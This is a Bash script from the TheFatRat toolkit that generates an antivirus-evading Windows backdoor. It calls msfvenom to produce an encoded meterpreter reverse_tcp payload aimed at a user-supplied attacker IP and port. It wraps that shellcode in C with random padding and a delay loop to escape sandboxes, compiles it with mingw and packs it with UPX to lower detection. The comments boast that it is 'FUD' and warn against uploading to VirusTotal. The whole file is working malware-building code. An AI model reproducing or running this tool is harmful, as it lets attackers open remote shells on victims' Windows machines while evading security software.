381 lines
10 KiB
Bash
Executable File
381 lines
10 KiB
Bash
Executable File
#!/bin/bash
|
|
file="config/config.path"
|
|
if [ -f "$file" ]
|
|
then
|
|
msfconsole=$(sed -n 13p ${file})
|
|
msfvenom=$(sed -n 14p ${file})
|
|
backdoor=$(sed -n 15p ${file})
|
|
searchsploit=$(sed -n 16p ${file})
|
|
output=$(sed -n 17p ${file})
|
|
else
|
|
echo "Configuration file does not exists , run setup.sh first ."
|
|
exit 1
|
|
|
|
|
|
fi
|
|
path=`pwd`
|
|
defcon=$path/config/conf.def
|
|
if [ -f "$defcon" ]
|
|
then
|
|
yourip=`sed -n 1p $defcon`
|
|
yourport=`sed -n 2p $defcon`
|
|
fi
|
|
|
|
function invalid1 ()
|
|
{
|
|
err=0
|
|
echo ""
|
|
if [ -z "$yourip" ]; then
|
|
echo -e $red ""
|
|
echo "[ ! ] You must write an IP or Hostname ."
|
|
echo -e $okegreen ""
|
|
echo "IP Example : 192.168.1.34
|
|
Domain Example : myhost.com"
|
|
err=1
|
|
fi
|
|
echo ""
|
|
if [ -z "$yourport" ]; then
|
|
echo -e $red ""
|
|
echo "[ ! ] You must write a port number between 1 & 65535 ."
|
|
err=1
|
|
fi
|
|
echo -e $okegreen ""
|
|
}
|
|
|
|
#get user local ip , public ip & hostname into variables
|
|
lanip=`ip addr | grep 'state UP' -A2 | tail -n1 | awk '{print $2}' | cut -f1 -d'/'`
|
|
lanip6=`ip addr | grep 'state UP' -A4 | tail -n1 | awk '{print $2}' | cut -f1 -d'/'`
|
|
publicip=`dig +short myip.opendns.com @resolver1.opendns.com`
|
|
hostn=`host $publicip | awk '{print $5}' | sed 's/.$//'`
|
|
comp="0"
|
|
# Warn if the gcc-mingw32 package is not located here /usr/bin/i586-mingw32msvc-gcc
|
|
# You may need to install the following on Kali Linux to compile the C to an Exe - "apt-get install gcc-mingw32"
|
|
# check mingw if exists
|
|
which i686-w64-mingw32-gcc > /dev/null 2>&1
|
|
if [ "$?" -eq "0" ]
|
|
then
|
|
echo [✔]::[mingw32]: installation found!;
|
|
comp="1"
|
|
fi
|
|
which x86_64-w64-mingw32-gcc > /dev/null 2>&1
|
|
if [ $? -eq 0 ]
|
|
then
|
|
echo [✔]::[mingw64]: installation found!;
|
|
|
|
if [ $comp == "0" ]
|
|
then
|
|
comp="2"
|
|
elif [ $comp == "1" ]
|
|
then
|
|
comp="3"
|
|
else
|
|
echo [x]::[warning]:this script require mingw32 or mingw64 installed to work ;
|
|
echo ""
|
|
echo [!]::Run setup.sh to install mingw64 ;
|
|
sleep 2s
|
|
exit 1
|
|
fi
|
|
fi
|
|
|
|
|
|
|
|
# check upx if exists
|
|
which upx > /dev/null 2>&1
|
|
if [ $? -eq 0 ]; then
|
|
echo [✔]::[Upx]: installation found!;
|
|
|
|
else
|
|
|
|
echo [x]::[warning]:this script require upx to work ;
|
|
echo ""
|
|
echo [!]::Run setup.sh to install upx ;
|
|
echo ""
|
|
sleep 2s
|
|
exit 1
|
|
fi
|
|
|
|
###################################################################################################
|
|
# FatRat Coded By Screetsec ( Edo Maland )
|
|
# Program to create a C program after it is compiled that will bypass most AV
|
|
# Test in Kali Linux :)
|
|
# Very Slow to create Backdoor But Very powerfull for bypass AV
|
|
# Easy to Use
|
|
# FUD for popular Antivirus :)
|
|
# Dont Upload to virus total
|
|
####################################################################################################
|
|
|
|
|
|
#Checking
|
|
[[ `id -u` -eq 0 ]] || { echo -e "\e[31mMust be root to run script"; exit 1; }
|
|
clear
|
|
SERVICE=service;
|
|
|
|
#This colour
|
|
cyan='\e[0;36m'
|
|
green='\e[0;34m'
|
|
okegreen='\033[92m'
|
|
lightgreen='\e[1;32m'
|
|
white='\e[1;37m'
|
|
red='\e[1;31m'
|
|
yellow='\e[1;33m'
|
|
BlueF='\e[1;34m'
|
|
yellow='\e[1;33m'
|
|
orange='\e[38;5;166m'
|
|
|
|
rm -f $output/Powerfull.exe >/dev/null 2>&1
|
|
rm -f $output/Powerfull-fud.exe >/dev/null 2>&1
|
|
#Banner
|
|
clear
|
|
echo
|
|
echo -e $yellow""
|
|
echo " =========================================================================="
|
|
echo -e $okegreen" FatRat Coded By Screetsec ( Edo -Maland- ) "
|
|
echo
|
|
echo -e $yellow" / __/ /__ _ __ / _ )__ __/ /_ / _ \___ _ _____ ____/ _/_ __/ / / "
|
|
echo " _\ \/ / _ \ |/|/ / / _ / // / __/ / ___/ _ \ |/|/ / -_) __/ _/ // / / / "
|
|
echo " /___/_/\___/__,__/ /____/\_,_/\__/ /_/ \___/__,__/\__/_/ /_/ \_,_/_/_/ "
|
|
echo""
|
|
echo -e $okegreen" This program compiles a C program with a meterpreter reverse_tcp payload "
|
|
echo " In it that can then be executed on a windows host "
|
|
echo " Program to create a C program after it is compiled that will bypass most AV "
|
|
echo -e $yellow" =========================================================================="
|
|
echo -e $okegreen""
|
|
|
|
#input lhost and lport
|
|
echo -e $okegreen""
|
|
echo -e $yellow "Your local IPV4 address is : $lanip"
|
|
echo -e $yellow "Your local IPV6 address is : $lanip6"
|
|
echo -e $yellow "Your public IP address is : $publicip"
|
|
echo -e $yellow "Your Hostname is : $hostn"
|
|
echo -e $okegreen ""
|
|
if [ ! -f "$defcon" ]
|
|
then
|
|
yourip=""
|
|
yourport=""
|
|
fi
|
|
if [ -z "$yourip" ]; then
|
|
read -p ' Set LHOST IP: ' yourip
|
|
fi
|
|
echo -e $okegreen ""
|
|
if [ -z "$yourport" ]; then
|
|
read -p ' Set LPORT: ' yourport
|
|
fi
|
|
invalid1
|
|
if [ $err == "1" ]
|
|
then
|
|
echo -e $okegreen ""
|
|
echo -n "Press any key to restart again ."
|
|
read inp
|
|
./powerfull.sh
|
|
fi
|
|
|
|
echo ""
|
|
if [ $comp == "1" ]
|
|
then
|
|
COMPILER="i686-w64-mingw32-gcc"
|
|
fi
|
|
if [ $comp == "2" ]
|
|
then
|
|
COMPILER="x86_64-w64-mingw32-gcc"
|
|
fi
|
|
|
|
if [ $comp == "3" ]
|
|
then
|
|
echo ""
|
|
echo -e $yellow "You can compile this FUD for 32bit or 64bit windows machines"
|
|
echo ""
|
|
echo -e $green "Choose one of the following options"
|
|
echo -e $orange "+-------------------------------+"
|
|
echo -e $orange "|$white [$green 1$white ] $yellow Compile 32bit FUD Exe $orange |"
|
|
echo -e $orange "|$white [$green 2$white ] $yellow Compile 64bit FUD Exe $orange |"
|
|
echo -e $orange "+-------------------------------+"
|
|
echo ""
|
|
echo -ne $green "Choose (1 or 2) : " ;tput sgr0
|
|
read archs
|
|
case $archs in
|
|
1)
|
|
COMPILER="i686-w64-mingw32-gcc"
|
|
echo ""
|
|
echo -e $green "32bit Selected"
|
|
sleep 1
|
|
;;
|
|
2)
|
|
COMPILER="x86_64-w64-mingw32-gcc"
|
|
echo ""
|
|
echo -e $green "64bit Selected"
|
|
sleep 1
|
|
;;
|
|
*)
|
|
COMPILER="x86_64-w64-mingw32-gcc"
|
|
echo ""
|
|
echo -e $green "Invalid Option , setting 32bit as default"
|
|
sleep 1
|
|
;;
|
|
esac
|
|
fi
|
|
echo -e $okegreen
|
|
payload="windows/meterpreter/reverse_tcp"
|
|
msfvenomBadChars="\x00\xff"
|
|
msfvenomEncoder="x86/shikata_ga_nai"
|
|
msfvenomIterations="3" # Recommended value: 3
|
|
|
|
randomness=3517 # The higher the randomness the more padding is added to the c program increasing the binaries size
|
|
delayRandomness=32676 # The higher the delay the longer it will take to execute the payload, may increase your chances of escaping a sandbox
|
|
|
|
#Set directory
|
|
currentDir=`pwd`
|
|
outputDir="$output/"
|
|
outputExe="${outputDir}Powerfull.exe" # You can change the name of the executable on this line
|
|
outputUPX="${outputDir}Powerfull-fud.exe" # You can change the name of the executable on this line
|
|
|
|
cProg="${currentDir}/prog.c"
|
|
cProgTemp="${currentDir}/prog.c.temp"
|
|
|
|
# Create some padding to be compiled in the C program this adds randomness to the binary
|
|
function old_generatePadding {
|
|
|
|
counter=0
|
|
randomNumber=$((RANDOM%${randomness}+7))
|
|
while [ $counter -lt $randomNumber ]; do
|
|
echo "" >> $cProg
|
|
randomCharnameSize=$((RANDOM%5+12))
|
|
randomPaddingSize=$((RANDOM%1024+2048))
|
|
randomCharname=`cat /dev/urandom | tr -dc 'a-zA-Z' | head -c ${randomCharnameSize}`
|
|
randomPadding=`cat /dev/urandom | tr -dc '_a-zA-Z0-9' | head -c ${randomPaddingSize}`
|
|
echo "unsigned char ${randomCharname}[]=\"$randomPadding\";" >> $cProg
|
|
let counter=counter+1
|
|
done
|
|
}
|
|
|
|
function generatePadding {
|
|
|
|
paddingArray=(0 1 2 3 4 5 6 7 8 9 a b c d e f)
|
|
|
|
counter=0
|
|
randomNumber=$((RANDOM%${randomness}+23))
|
|
while [ $counter -lt $randomNumber ]; do
|
|
echo "" >> $cProg
|
|
randomCharnameSize=$((RANDOM%10+7))
|
|
randomCharname=`cat /dev/urandom | tr -dc 'a-zA-Z' | head -c ${randomCharnameSize}`
|
|
echo "unsigned char ${randomCharname}[]=" >> $cProg
|
|
randomLines=$((RANDOM%20+13))
|
|
for (( c=1; c<=$randomLines; c++ ))
|
|
do
|
|
randomString="\""
|
|
randomLength=$((RANDOM%11+7))
|
|
for (( d=1; d<=$randomLength; d++ ))
|
|
do
|
|
randomChar1=${paddingArray[$((RANDOM%15))]}
|
|
randomChar2=${paddingArray[$((RANDOM%15))]}
|
|
randomPadding=$randomChar1$randomChar2
|
|
randomString="$randomString\\x$randomPadding"
|
|
done
|
|
randomString="$randomString\""
|
|
if [ $c -eq ${randomLines} ]; then
|
|
echo "$randomString;" >> $cProg
|
|
else
|
|
echo $randomString >> $cProg
|
|
fi
|
|
done
|
|
let counter=counter+1
|
|
done
|
|
}
|
|
|
|
|
|
# Check to see the output directory exists
|
|
if [[ ! -d "$outputDir" ]]; then
|
|
mkdir $outputDir
|
|
fi
|
|
|
|
echo ""
|
|
echo "You may see multiple errors until the executable is compiled successfully."
|
|
echo ""
|
|
if [[ $msfvenomIterations > 3 ]]; then
|
|
echo "Most of the errors are due to the msfvenom iterations value is set too high."
|
|
echo "Recommended value: msfvenomIterations=3"
|
|
fi
|
|
echo ""
|
|
|
|
# Check to see if the executable was previously created
|
|
if [[ -f "$outputExe" ]]; then
|
|
echo "Remove the executable at ${outputExe} to recreate it."
|
|
echo ""
|
|
fi
|
|
|
|
|
|
sleep 2
|
|
|
|
|
|
# Until the Powerfull.exe is compiled successfully loop until it is
|
|
while [[ ! -f "$outputExe" ]]; do
|
|
|
|
# Delete the c program and recreate it
|
|
rm -f $cProg
|
|
|
|
generatePadding
|
|
|
|
echo "" >> $cProg
|
|
echo "int main(void)" >> $cProg
|
|
echo "{" >> $cProg
|
|
|
|
# Introduce a couple of processing loops for a delay
|
|
echo "" >> $cProg
|
|
echo "int zewd5 = 1, rqs3 = 1;" >> $cProg
|
|
echo "for ( zewd5 = 1 ; zewd5 <= ${delayRandomness} ; zewd5++ )" >> $cProg
|
|
echo " for ( rqs3 = 1 ; rqs3 <= ${delayRandomness} ; rqs3++ )" >> $cProg
|
|
echo " {}" >> $cProg
|
|
echo "" >> $cProg
|
|
|
|
generatePadding
|
|
|
|
echo "" >> $cProg
|
|
$msfvenom -p ${payload} LHOST=$yourip LPORT=$yourport -b ${msfvenomBadChars} -e ${msfvenomEncoder} -i ${msfvenomIterations} -f c >> $cProg
|
|
|
|
generatePadding
|
|
|
|
echo "" >> $cProg
|
|
echo "((void (*)())buf)();" >> $cProg
|
|
echo "" >> $cProg
|
|
|
|
generatePadding
|
|
|
|
echo "" >> $cProg
|
|
echo "}" >> $cProg
|
|
|
|
randomBufNameSize=$((RANDOM%10+23))
|
|
randomBufName=`cat /dev/urandom | tr -dc 'a-zA-Z' | head -c ${randomBufNameSize}`
|
|
cat $cProg | sed "s/buf/${randomBufName}/g" > $cProgTemp
|
|
mv -f $cProgTemp $cProg
|
|
# To install the following program on Kali Linux - "apt-get install gcc-mingw32"
|
|
$COMPILER -o $outputExe $cProg
|
|
|
|
done
|
|
if [[ -f "$outputExe" ]]
|
|
then
|
|
echo "Uncompressed backdoor created in : $outputExe"
|
|
else
|
|
echo "Unable to compile backdoor"
|
|
echo -n "Press Enter to return to menu"
|
|
read rsp
|
|
exit 0
|
|
fi
|
|
echo ""
|
|
echo -n "Compressing $outputExe with UPX to be less detectable ...."
|
|
# Use UPX to create a second executable, testing...
|
|
upx -q --ultra-brute -o $outputUPX $outputExe >/dev/null 2>&1
|
|
echo "Done"
|
|
|
|
if [[ -f "$outputUPX" ]]
|
|
then
|
|
echo "Compressed Backdoor was build in : $outputUPX"
|
|
echo ""
|
|
echo -n "Press Enter to return to fatrat menu"
|
|
read rsp
|
|
exit 0
|
|
else
|
|
echo "Unable to compress $outputExe with UPX"
|
|
echo -n "Press Enter to return to fatrat menu"
|
|
read rsp
|
|
exit 0
|
|
fi
|